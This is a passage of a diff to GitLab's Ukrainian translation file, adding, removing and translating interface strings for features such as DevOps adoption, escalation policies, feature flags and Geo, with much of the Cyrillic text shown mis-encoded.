-msgstr ""
+msgstr "Гілки"
msgid "CompareRevisions|Compare"
msgstr ""
@@ -8416,9 +8492,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8539,6 +8612,9 @@ msgstr "КонфіденційніÑÑ‚ÑŒ"
msgid "Configuration"
msgstr "КонфігураціÑ"
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "Ðалаштувати runner'ів GitLab Ð´Ð»Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ викориÑÑ‚Ð°Ð½Ð½Ñ Ð’ÐµÐ±-терміналу. %{helpStart}Докладніше.%{helpEnd}"
@@ -8546,7 +8622,7 @@ msgid "Configure Gitaly timeouts."
msgstr "Ðалаштувати таймаути Gitaly."
msgid "Configure Integrations"
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ—"
msgid "Configure Let's Encrypt"
msgstr "Ðалаштувати Let's Encrypt"
@@ -8602,6 +8678,9 @@ msgstr "Ðалаштуйте шлÑхи Ð´Ð»Ñ Ð·Ð°Ñ…Ð¸Ñту від атак Ra
msgid "Configure repository mirroring."
msgstr "Ðалаштувати Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–Ñ—Ð²."
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8763,6 +8842,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr "Створити образ"
@@ -8875,7 +8957,7 @@ msgid "ContainerRegistry|Keep the most recent:"
msgstr ""
msgid "ContainerRegistry|Keep these tags"
-msgstr ""
+msgstr "Залишити ці теги"
msgid "ContainerRegistry|Last updated %{time}"
msgstr ""
@@ -8899,7 +8981,7 @@ msgid "ContainerRegistry|Note: Any policy update will result in a change to the
msgstr ""
msgid "ContainerRegistry|Published %{timeInfo}"
-msgstr ""
+msgstr "Опубліковано %{timeInfo}"
msgid "ContainerRegistry|Published to the %{repositoryPath} image repository at %{time} on %{date}"
msgstr ""
@@ -9445,9 +9527,6 @@ msgstr "Створити новий домен"
msgid "Create Project"
msgstr "Створити проєкт"
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr "Спочатку Ñтворіть обліковий Ð·Ð°Ð¿Ð¸Ñ GitLab, а потім приєднайте його до облікового запиÑу %{label}."
@@ -9478,9 +9557,6 @@ msgstr "Створити новий репозиторій"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Створіть токен доÑтупу Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ аккаунта, щоб відправлÑти та отримувати через %{protocol}."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr "Створити обліковий Ð·Ð°Ð¿Ð¸Ñ Ð·Ð° допомогою:"
@@ -9494,7 +9570,7 @@ msgid "Create blank project"
msgstr "Створити пуÑтий проєкт"
msgid "Create blank project/repository"
-msgstr ""
+msgstr "Створити порожній проєкт/репозиторій"
msgid "Create branch"
msgstr "Створити гілку"
@@ -9532,6 +9608,9 @@ msgstr "Створити групу"
msgid "Create group label"
msgstr "Створити мітку групи"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr "Створити задачу"
@@ -9583,6 +9662,9 @@ msgstr "Створити новий файл чи папку"
msgid "Create new label"
msgstr "Створити нову мітку"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Створити..."
@@ -9616,6 +9698,9 @@ msgstr "Створити вашу першу Ñторінку"
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr "Створіть / імпортуйте Ñвій перший проєкт"
@@ -9943,27 +10028,6 @@ msgstr "КориÑтувацький діапазон"
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr "Додати Ñтадію"
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr "Додати Ñтадію"
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr "Редагувати Ñтадію"
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr "Ðова ÑтадіÑ"
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr "Ім'Ñ Ñтадії вже Ñ–Ñнує"
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr "Мітка початкової події"
-
msgid "Customer Portal"
msgstr "Портал клієнтів"
@@ -10188,9 +10252,15 @@ msgstr "Випадаючий ÑпиÑок Ñтадій"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10410,9 +10480,6 @@ msgstr "Пароль"
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr "Ім'Ñ Ð¿Ñ€Ð¾Ñ„Ñ–Ð»ÑŽ"
@@ -10780,6 +10847,9 @@ msgstr "Видалити %{name}"
msgid "Delete Comment"
msgstr "Видалити коментар"
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11510,22 +11580,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11534,6 +11610,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11561,6 +11640,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr "Конвеєри"
@@ -11582,6 +11664,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr "СкануваннÑ"
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11594,21 +11679,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11675,15 +11772,15 @@ msgstr "Вимкнути групові runner'и"
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr "Вимкнути двофакторну автентифікацію"
msgid "Disabled"
msgstr "Вимкнено"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr "Вимкнені дзеркала можуть бути увімкнені тільки влаÑниками інÑтанÑу. Рекомендовано Ñ—Ñ… видалити."
@@ -11711,6 +11808,9 @@ msgstr "Discord СповіщеннÑ"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr "Відкрийте GitLab Geo"
@@ -11806,7 +11906,7 @@ msgid "Display name"
msgstr "Ð†Ð¼â€™Ñ Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ"
msgid "Display rendered file"
-msgstr ""
+msgstr "Показувати перетворений файл"
msgid "Display source"
msgstr "Показати джерело"
@@ -11836,7 +11936,7 @@ msgid "Domain"
msgstr "Домен"
msgid "Domain Name"
-msgstr ""
+msgstr "Доменне ім'Ñ"
msgid "Domain cannot be deleted while associated to one or more clusters."
msgstr ""
@@ -11881,7 +11981,7 @@ msgid "Download %{format}:"
msgstr "Завантажити %{format}:"
msgid "Download %{name} artifact"
-msgstr ""
+msgstr "Завантажити %{name} артефакт"
msgid "Download (%{size})"
msgstr ""
@@ -11940,7 +12040,7 @@ msgstr "Чернетка"
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11955,6 +12055,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11964,9 +12082,6 @@ msgstr "Запланована дата завершеннÑ"
msgid "Duration"
msgstr "ТриваліÑÑ‚ÑŒ"
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr "Під Ñ‡Ð°Ñ Ñ†ÑŒÐ¾Ð³Ð¾ процеÑу вам буде запропоновано вказати URL-адреÑи з боку GitLab. ВикориÑтовуйте URL-адреÑи, показані нижче."
@@ -12081,9 +12196,6 @@ msgstr "Редагувати публічний ключ Ð´Ð»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr "Редагувати Ñтадію"
-
msgid "Edit this file only."
msgstr ""
@@ -12094,7 +12206,7 @@ msgid "Edit title and description"
msgstr ""
msgid "Edit user: %{user_name}"
-msgstr ""
+msgstr "Редагувати кориÑтувача: %{user_name}"
msgid "Edit wiki page"
msgstr "Редагувати wiki-Ñторінку"
@@ -12103,7 +12215,7 @@ msgid "Edit your most recent comment in a thread (from an empty textarea)"
msgstr "Редагувати ваш оÑтанній коментар в обговоренні (в порожньому текÑтовому полі)"
msgid "Edited"
-msgstr ""
+msgstr "Відредаговано"
msgid "Edited %{timeago}"
msgstr "Відредаговано %{timeago}"
@@ -12138,6 +12250,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12193,7 +12308,7 @@ msgid "Email:"
msgstr ""
msgid "Email: %{email}"
-msgstr ""
+msgstr "електронна пошта: %{email}"
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr "Схоже, що Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ð¾Ñ€Ð¾Ð¶Ð½Ñ”. ПереконайтеÑÑ, що ваша відповідь знаходитьÑÑ Ð½Ð° початку повідомленнÑ, ми не можемо оброблÑти відповіді, що знаходÑÑ‚ÑŒÑÑ Ð² Ñередині та в кінці."
@@ -12267,15 +12382,15 @@ msgstr ""
msgid "Embed"
msgstr "Вбудувати"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "Порожній файл"
msgid "Enable"
msgstr "Увімкнути"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "Увімкнути Auto DevOps"
@@ -12351,6 +12466,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12396,9 +12514,6 @@ msgstr "Увімкнути Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr "Увімкнути або вимкнути гарÑчі клавіші"
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Увімкнути чи вимкнути збір даних Ð´Ð»Ñ Pseudonymizer."
@@ -12420,9 +12535,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr "Увімкнути загальні Runner'и"
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12478,7 +12590,7 @@ msgid "Enabled Git access protocols"
msgstr "Увімкнути протоколи доÑтупу до Git"
msgid "Enabled OAuth sign-in sources"
-msgstr ""
+msgstr "Увімкнені джерела входу в OAuth"
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr "Ðктивовані джерела Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ коду під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ. OmniAuth має бути Ñконфігурована Ð´Ð»Ñ GitHub"
@@ -13092,9 +13204,6 @@ msgstr "Помилка при збереженні виконавців"
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð¿Ñ–Ð´Ð¿Ð¸Ñки на ÑповіщеннÑ"
-
msgid "Error occurred while updating the issue status"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÑтатуÑу задачі"
@@ -13107,12 +13216,18 @@ msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Заблокований кориÑтув
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Ð”Ð»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ñ–Ñ— заблокований кориÑтувач має бути розблокований"
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. КориÑтувач не був заблокований"
msgid "Error occurred. User was not confirmed"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. КориÑтувача не був підтверджений"
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. КориÑтувач не був розблокований"
@@ -13168,7 +13283,7 @@ msgid "Error with Akismet. Please check the logs for more info."
msgstr "Помилка з Akismet. Будь лаÑка, перевірте журнали Ð´Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ð´Ð°Ñ‚ÐºÐ¾Ð²Ð¾Ñ— інформації."
msgid "Error: %{error_message}"
-msgstr ""
+msgstr "Помилка: %{error_message}"
msgid "Error: No AWS credentials were supplied"
msgstr ""
@@ -13221,6 +13336,54 @@ msgstr ""
msgid "Errors:"
msgstr "Помилки:"
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr "Оцінити"
@@ -13282,7 +13445,11 @@ msgid "Every two weeks"
msgstr "Кожні 2 тижні"
msgid "Every week"
-msgstr "ЩотижнÑ"
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13351,7 +13518,7 @@ msgid "Execution time"
msgstr "Ð§Ð°Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ"
msgid "Existing branch name, tag, or commit SHA"
-msgstr ""
+msgstr "Ім'Ñ Ñ–Ñнуючої гілки, тега або SHA коміта"
msgid "Existing projects may be moved into a group"
msgstr ""
@@ -13399,7 +13566,7 @@ msgid "Expected documents: %{expected_documents}"
msgstr ""
msgid "Experienced"
-msgstr ""
+msgstr "ДоÑвідчений"
msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
msgstr ""
@@ -13927,6 +14094,9 @@ msgstr "Перемикач функції"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr "Поведінка перемикачів функцій будуєтьÑÑ ÑˆÐ»Ñхом ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð½Ð°Ð±Ð¾Ñ€Ñƒ правил Ð´Ð»Ñ Ð²Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ñтану цільових Ñередовищ. Ð”Ð»Ñ %{boldStart}вÑÑ–Ñ… Ñередовищ%{boldEnd} вÑтановлено правило за замовчуваннÑм %{codeStart}*%{codeEnd}, але ви можете додавати необхідні правила шлÑхом вибору нижче Ñпецифікацій Ñередовищ. Ви можете умімкнути або вимкнути певну поведінку Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ із ваших правил зробивши його %{boldStart}Ðктивним%{boldEnd} або %{boldStart}Ðеактивним%{boldEnd}."
@@ -13951,9 +14121,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr "Розпочати роботу з перемикачами функцій"
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13981,9 +14148,6 @@ msgstr "СпиÑок деталей"
msgid "FeatureFlags|Loading feature flags"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿ÐµÑ€ÐµÐ¼Ð¸ÐºÐ°Ñ‡Ñ–Ð² функцій"
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr "Більше інформації"
@@ -14002,9 +14166,6 @@ msgstr "Ðовий ÑпиÑок кориÑтувачів"
msgid "FeatureFlags|New feature flag"
msgstr "Ðовий перемикач функції"
-msgid "FeatureFlags|New user list"
-msgstr "Ðовий ÑпиÑок кориÑтувачів"
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14047,9 +14208,6 @@ msgstr "Цільові Ñередовища"
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "Помилка при отриманні перемикачів функцій."
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14065,7 +14223,7 @@ msgstr "СпиÑок кориÑтувачів"
msgid "FeatureFlags|User Lists"
msgstr "СпиÑки кориÑтувачів"
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14289,7 +14447,7 @@ msgid "Finished at"
msgstr ""
msgid "First Seen"
-msgstr ""
+msgstr "Перший раз помічено"
msgid "First day of the week"
msgstr "Перший день тижнÑ"
@@ -14318,6 +14476,15 @@ msgstr "Виправлено:"
msgid "Flags"
msgstr "Прапори"
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14423,6 +14590,9 @@ msgstr "Створити форк проєкту?"
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr "СкаÑувати"
@@ -14441,6 +14611,9 @@ msgstr "Внутрішній"
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14468,6 +14641,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Форк від"
@@ -14735,6 +14917,9 @@ msgstr "вторинні вузли"
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14762,6 +14947,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr "Додати Ñайт"
@@ -14789,6 +14977,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14813,6 +15004,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14840,6 +15034,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14885,6 +15082,9 @@ msgstr "Ðіколи"
msgid "Geo|Next sync scheduled at"
msgstr "ÐаÑтупна ÑÐ¸Ð½Ñ…Ñ€Ð¾Ð½Ñ–Ð·Ð°Ñ†Ñ–Ñ Ð·Ð°Ð¿Ð»Ð°Ð½Ð¾Ð²Ð°Ð½Ð° на"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr "Ім'Ñ Ð²ÑƒÐ·Ð»Ð° не може бути пуÑтим"
@@ -14897,10 +15097,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Ðе Ñинхронізовано"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15065,6 +15271,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "Ðевідомий Ñтан"
@@ -15077,10 +15289,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "Перевірка невдала: %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15186,7 +15401,7 @@ msgid "GitLab Account Request"
msgstr ""
msgid "GitLab Billing Team."
-msgstr ""
+msgstr "Команда оплати GitLab."
msgid "GitLab CI"
msgstr ""
@@ -15326,9 +15541,6 @@ msgstr "Лише HTTPS (потрібні дійÑні Ñертифікати)"
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr "ПіÑÐ»Ñ Ð¿ÐµÑ€ÑˆÐ¾Ð³Ð¾ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ñайт може бути недоÑтупним до 30 хвилин."
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr "МакÑимальний розмір Ñторінок (МБ)"
@@ -15393,7 +15605,7 @@ msgid "Gitaly relative path:"
msgstr ""
msgid "Gitaly storage name:"
-msgstr ""
+msgstr "Ðазва Ñховища Gitaly:"
msgid "Gitaly|Address"
msgstr "ÐдреÑа"
@@ -15425,16 +15637,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15467,9 +15682,6 @@ msgstr ""
msgid "Go full screen"
msgstr "Ðа повний екран"
-msgid "Go to Webhooks"
-msgstr "Перейти до Веб-хуків"
-
msgid "Go to commits"
msgstr "Перейти до комітів"
@@ -15524,6 +15736,9 @@ msgstr "Перейти на рівень вище"
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr "Перейти до проєкту"
@@ -15602,7 +15817,7 @@ msgstr ""
